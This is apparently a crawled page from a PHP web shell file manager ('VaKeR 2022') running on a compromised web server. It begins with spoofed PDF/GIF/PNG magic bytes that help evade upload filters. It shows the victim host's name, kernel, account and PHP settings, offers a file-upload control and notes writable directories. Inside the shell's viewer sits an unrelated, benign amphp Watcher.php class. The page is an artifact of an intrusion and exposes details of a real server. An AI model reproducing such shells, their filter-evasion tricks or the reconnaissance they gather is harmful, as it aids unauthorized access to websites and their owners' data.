%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/amphp/amp/lib/Loop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/amphp/amp/lib/Loop/Watcher.php
<?php

namespace Amp\Loop;

use Amp\Struct;

/**
 * @template TValue as (int|resource|null)
 *
 * @psalm-suppress MissingConstructor
 */
class Watcher
{
    use Struct;

    const IO = 0b00000011;
    const READABLE = 0b00000001;
    const WRITABLE = 0b00000010;
    const DEFER = 0b00000100;
    const TIMER = 0b00011000;
    const DELAY = 0b00001000;
    const REPEAT = 0b00010000;
    const SIGNAL = 0b00100000;

    /** @var int */
    public $type;

    /** @var bool */
    public $enabled = true;

    /** @var bool */
    public $referenced = true;

    /** @var string */
    public $id;

    /** @var callable */
    public $callback;

    /**
     * Data provided to the watcher callback.
     *
     * @var mixed
     */
    public $data;

    /**
     * Watcher-dependent value storage. Stream for IO watchers, signal number for signal watchers, interval for timers.
     *
     * @var resource|int|null
     * @psalm-var TValue
     */
    public $value;

    /** @var int|null */
    public $expiration;
}

VaKeR 2022